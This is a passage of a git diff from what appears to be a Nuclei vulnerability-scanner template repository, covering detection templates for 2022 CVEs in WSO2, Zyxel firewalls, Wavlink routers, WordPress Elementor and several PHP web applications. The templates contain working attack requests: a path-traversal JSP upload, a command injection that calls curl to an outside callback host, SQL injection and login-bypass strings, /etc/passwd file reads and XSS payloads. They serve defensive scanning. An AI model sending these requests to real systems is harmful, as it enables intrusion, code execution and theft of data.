https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability + - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 + - https://wordpress.org/plugins/elementor/#developers + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29455 + cwe-id: CWE-79 + epss-score: 0.0019 + epss-percentile: 0.56534 + cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 1 + vendor: elementor + product: website_builder + framework: wordpress + tags: cve,cve2022,xss,wordpress,elementor + +http: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/elementor/readme.txt' + + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(version, '<= 3.5.5') + + - type: word + part: body + words: + - 'Elementor Website Builder' + + - type: status + status: + - 200 + + extractors: + - type: regex + name: version + group: 1 + regex: + - "(?m)Stable tag: ([0-9.]+)" + internal: true + + - type: regex + group: 1 + regex: + - "(?m)Stable tag: ([0-9.]+)" +# digest: 4a0a004730450220132dd18822d4be6e55b83dc3418190c6b99196da5fe45f1cb6830726664d2f5a022100b9c8cb73aa892d6d0e8a18f869dc632c2795411bb3c62c508306024a87fb2fb9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29464.yaml b/nuclei-templates/CVE-2022/cve-2022-29464.yaml deleted file mode 100644 index be282d3374..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-29464.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2022-29464 - -info: - name: WSO2 Management - Arbitrary File Upload & Remote Code Execution - author: luci,dhiyaneshDk - severity: critical - description: | - Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. - impact: | - Successful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system. - remediation: | - Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability. - reference: - - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ - - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - - https://github.com/hakivvi/CVE-2022-29464 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - - http://www.openwall.com/lists/oss-security/2022/04/22/7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-29464 - cwe-id: CWE-22 - epss-score: 0.97146 - epss-percentile: 0.99783 - cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: wso2 - product: api_manager - shodan-query: http.favicon.hash:1398055326 - tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev - -http: - - raw: - - | - POST /fileupload/toolsAny HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311 - Content-Length: 348 - - -----------------------------250033711231076532771336998311 - Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp" - Content-Type: application/octet-stream - - <% out.print("WSO2-RCE-CVE-2022-29464"); %> - -----------------------------250033711231076532771336998311-- - - | - GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" -# digest: 4a0a0047304502206626d39352045dab0703dbd61d9cecafd6e7f18e8d9316bef52d936ca126b399022100d448de4461fe4835998a05ef187668142f89f7025b11abe66e0e3305508c1171:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29548.yaml b/nuclei-templates/CVE-2022/cve-2022-29548.yaml new file mode 100644 index 0000000000..5cdf4a3d75 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29548.yaml @@ -0,0 +1,55 @@ +id: CVE-2022-29548 + +info: + name: WSO2 - Cross-Site Scripting + author: edoardottt + severity: medium + description: | + WSO2 contains a reflected cross-site scripting vulnerability in the Management Console of API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0, and 4.0.0; API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0; IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0; Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0; Identity Server Analytics 5.5.0 and 5.6.0; and WSO2 Micro Integrator 1.0.0. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application. + remediation: | + Apply the latest security patches or updates provided by WSO2 to fix the XSS vulnerability. + reference: + - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29548 + - http://packetstormsecurity.com/files/167587/WSO2-Management-Console-Cross-Site-Scripting.html + - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2022/WSO2-2021-1603/ + - https://github.com/vishnusomank/GoXploitDB + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29548 + cwe-id: CWE-79 + epss-score: 0.00299 + epss-percentile: 0.68867 + cpe: cpe:2.3:a:wso2:api_manager:2.2.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: wso2 + product: api_manager + google-query: inurl:"carbon/admin/login" + tags: cve,cve2022,wso2,xss,packetstorm + +http: + - method: GET + path: + - "{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "CARBON.showWarningDialog('???');alert(document.domain)//???" + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100f74f191103aed5a55a87b64ed54d8e3f2c3a84f48f2853428d9af571e0cd877702201a9a8a865260835250bcde79a6d3fd03166539ac2f673fd0a73386d219f510e2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30489.yaml b/nuclei-templates/CVE-2022/cve-2022-30489.yaml deleted file mode 100644 index fa8e443a15..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30489.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2022-30489 - -info: - name: Wavlink WN-535G3 - Cross-Site Scripting - author: For3stCo1d - severity: medium - description: | - Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Apply the latest firmware update provided by the vendor to mitigate this vulnerability. - reference: - - https://github.com/badboycxcc/XSS-CVE-2022-30489 - - https://github.com/badboycxcc/XSS - - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30489 - cwe-id: CWE-79 - epss-score: 0.00088 - epss-percentile: 0.36947 - cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wn535g3_firmware - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,xss,wavlink,router,iot - -http: - - raw: - - | - POST /cgi-bin/login.cgi HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn - - matchers-condition: and - matchers: - - type: word - words: - - '' - - 'parent.location.replace("http://")' - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a00473045022100e403fa95c8208dca72c7387425cba8c129e7dfa20d8dab4a96911b406fba2cc1022048e179973aa2f40b253ff07bb159c86d5da40b59437535549c3ee912cc28f201:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30525.yaml b/nuclei-templates/CVE-2022/cve-2022-30525.yaml deleted file mode 100644 index 4e8a29bb38..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30525.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2022-30525 - -info: - name: Zyxel Firewall - OS Command Injection - author: h1ei1,prajiteshsingh - severity: critical - description: | - An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system. - remediation: | - Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. - reference: - - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - - https://github.com/rapid7/metasploit-framework/pull/16563 - - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-30525 - cwe-id: CWE-78 - epss-score: 0.97482 - epss-percentile: 0.99967 - cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zyxel - product: usg_flex_100w_firmware - shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" - tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce - -http: - - raw: - - | - POST /ztp/cgi-bin/handler HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: status - status: - - 500 -# digest: 4b0a00483046022100d2611a4bbd37c92e10c7c04c5287817c5276dc06e9595aa43f4c7e2d7f9d6f32022100e8b1382edb51ac7f80e2006d4ef501e49d529af2ea63b39cb9842b574f17f6db:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30776.yaml b/nuclei-templates/CVE-2022/cve-2022-30776.yaml deleted file mode 100644 index f912a8432c..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30776.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2022-30776 - -info: - name: Atmail 6.5.0 - Cross-Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability. - reference: - - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 - - https://www.atmail.com/ - - https://help.atmail.com/hc/en-us/sections/115003283988 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 - - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30776 - cwe-id: CWE-79 - epss-score: 0.00112 - epss-percentile: 0.43631 - cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: atmail - product: atmail - shodan-query: http.html:"atmail" - tags: cve2022,cve,atmail,xss - -http: - - method: GET - path: - - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Error: 1" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a0047304502210098e7e92637618d4c3c5540938565842f9d2479c1b7a7ca9a9333b2e0bf64a29b022077e0d1d54bd671842a9ba69fdbad1ed67e8c6f085c3235fde69b2d9e18009833:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30777.yaml b/nuclei-templates/CVE-2022/cve-2022-30777.yaml deleted file mode 100644 index d36995911c..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30777.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2022-30777 - -info: - name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability. - reference: - - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - - https://en.wikipedia.org/wiki/H-Sphere - - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30777 - cwe-id: CWE-79 - epss-score: 0.00087 - epss-percentile: 0.36061 - cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: parallels - product: h-sphere - shodan-query: title:"h-sphere" - tags: cve,cve2022,parallels,hsphere,xss - -http: - - method: GET - path: - - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - words: - - '">' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a004730450220193f90816efc79d2ac468c37e58a42add449c9c53f48ed07934c74f756d9550d022100bc87714095325fe51d81827336aa365718a61f67c95e590fea50198ba245e3eb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-31793.yaml b/nuclei-templates/CVE-2022/cve-2022-31793.yaml new file mode 100644 index 0000000000..0d5e0514ca --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-31793.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-31793 + +info: + name: muhttpd <=1.1.5 - Local Inclusion + author: scent2d + severity: high + description: | + muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system. + impact: | + An attacker can exploit this vulnerability to read sensitive files on the system. + remediation: Update the application to version 1.10 + reference: + - https://derekabdine.com/blog/2022-arris-advisory.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-31793 + - https://derekabdine.com/blog/2022-arris-advisory + - https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/ + - http://inglorion.net/software/muhttpd/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31793 + cwe-id: CWE-22 + epss-score: 0.25241 + epss-percentile: 0.96539 + cpe: cpe:2.3:a:inglorion:muhttpd:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: inglorion + product: muhttpd + tags: network,cve,cve2022,muhttpd,lfi,unauth,inglorion +tcp: + - host: + - "{{Hostname}}" + inputs: + - data: "47455420612F6574632F706173737764" + type: hex + + - data: "\n\n" + read-size: 128 + matchers: + - type: word + part: body + encoding: hex + words: + - "726f6f743a" +# digest: 4a0a004730450220552dea540450a6b50bb4fd1647d35646f4ddf95b681f33a3d832e169c3ee54a00221008959a00adc118b209a3e73b2598a4eafc401f50232ac399d121322f839f2a04c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32015.yaml b/nuclei-templates/CVE-2022/cve-2022-32015.yaml deleted file mode 100644 index 3fff028ab9..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-32015.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-32015 - -info: - name: Complete Online Job Search System 1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=category&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32015 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32015 - cwe-id: CWE-89 - epss-score: 0.01426 - epss-percentile: 0.8625 - cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: complete_online_job_search_system_project - product: complete_online_job_search_system - tags: cve,cve2022,sqli,jobsearch,complete_online_job_search_system_project -variables: - num: "999999999" - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+" - - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' -# digest: 4b0a00483046022100c34036939ef2413c02af88cb8e86ecd6b3be7f27866b7d0ca21d3b7a269e47a8022100cf88f059ea7f102348f18a69cc9b78e11fc69e56a09b123e5a590fee4b261619:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32018.yaml b/nuclei-templates/CVE-2022/cve-2022-32018.yaml new file mode 100644 index 0000000000..03f4f75f3c --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32018.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-32018 + +info: + name: Complete Online Job Search System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=hiring&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database or modify its contents. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32018 + cwe-id: CWE-89 + epss-score: 0.01426 + epss-percentile: 0.8625 + cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: complete_online_job_search_system_project + product: complete_online_job_search_system + tags: cve,cve2022,sqli,complete_online_job_search_system_project +variables: + num: "999999999" + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' +# digest: 4a0a0047304502205ba4dd1e28ba762599b6a5ab360d76fec10ab36095eea39b5350f66c6ccfdd4a022100e512574c97e4dd07fb068fe1ad699e8401d927211f5932a38f70608192d06c77:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32026.yaml b/nuclei-templates/CVE-2022/cve-2022-32026.yaml deleted file mode 100644 index d770372ee9..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-32026.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: CVE-2022-32026 - -info: - name: Car Rental Management System 1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_booking.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Car Rental Management System 1.0. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-5.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32026 - cwe-id: CWE-89 - epss-score: 0.01426 - epss-percentile: 0.8625 - cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: car_rental_management_system_project - product: car_rental_management_system - shodan-query: http.html:"Car Rental Management System" - comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. - tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project -variables: - num: "999999999" - -http: - - raw: - - | - POST /admin/ajax.php?action=login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5({{num}}),8,9,10,11--+ HTTP/1.1 - Host: {{Hostname}} - - skip-variables-check: true - host-redirects: true - max-redirects: 2 - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - - type: status - status: - - 200 -# digest: 490a0046304402202d8d1ce0a8afb0fd0d8764c020301f0bed489c76f1e00e810d5e77dcb9065adb0220745a0985676455f645e3f98ac502002ec5c0ee377c9822b23ec2081b0c2bfd3c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-32159.yaml b/nuclei-templates/CVE-2022/cve-2022-32159.yaml similarity index 100% rename from nuclei-templates/CVE-2022/CVE-2022-32159.yaml rename to nuclei-templates/CVE-2022/cve-2022-32159.yaml diff --git a/nuclei-templates/CVE-2022/cve-2022-32409.yaml b/nuclei-templates/CVE-2022/cve-2022-32409.yaml deleted file mode 100644 index 970cc96d0e..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-32409.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2022-32409 - -info: - name: Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion - author: pikpikcu - severity: critical - description: Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request. - impact: | - An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. - remediation: | - Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability. - reference: - - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt - - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion - - https://nvd.nist.gov/vuln/detail/CVE-2022-32409 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-32409 - cwe-id: CWE-22 - epss-score: 0.47251 - epss-percentile: 0.97372 - cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: softwarepublico - product: i3geo - shodan-query: http.html:"i3geo" - tags: cve2022,cve,i3geo,lfi,softwarepublico - -http: - - method: GET - path: - - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 -# digest: 4a0a00473045022072e312e8df1571351e7a21ca6317934960724f0071495fe4169ca5b013300dcd022100cc5ac2a8a33a0acc037a5db55a65ebb9f5ae1937caac9aededb4a8a59ab3ec56:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-34049.yaml b/nuclei-templates/CVE-2022/cve-2022-34049.yaml deleted file mode 100644 index c9d91f7d05..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-34049.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2022-34049 - -info: - name: WAVLINK WN530HG4 - Improper Access Control - author: For3stCo1d - severity: medium - description: | - Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to gain unauthorized access to the router's settings, potentially leading to further compromise of the network or device. - remediation: | - Apply the latest firmware update provided by the vendor to fix the access control issue. - reference: - - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049 - - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing - - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing - - https://nvd.nist.gov/vuln/detail/CVE-2022-34049 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2022-34049 - cwe-id: CWE-552 - epss-score: 0.17111 - epss-percentile: 0.95601 - cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wl-wn530hg4_firmware - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,wavlink,router,exposure - -http: - - raw: - - | - GET /cgi-bin/ExportLogs.sh HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Login' - - 'Password' - condition: and - - - type: word - part: header - words: - - filename="sysLogs.txt" - - - type: status - status: - - 200 -# digest: 4b0a00483046022100fe2b14acc7033ceb8f4865eea336e52f57abfcde0cdd377d01e8350e962bed1d0221008fcfa7a19d5076433d9771e4b486a3e7fe8ff8eb61a72aab3dd5a8320dcbd8d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-35416.yaml b/nuclei-templates/CVE-2022/cve-2022-35416.yaml new file mode 100644 index 0000000000..0db605cff6 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-35416.yaml @@ -0,0 +1,57 @@ +id: CVE-2022-35416 + +info: + name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting + author: 0x240x23elu + severity: medium + description: | + H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json 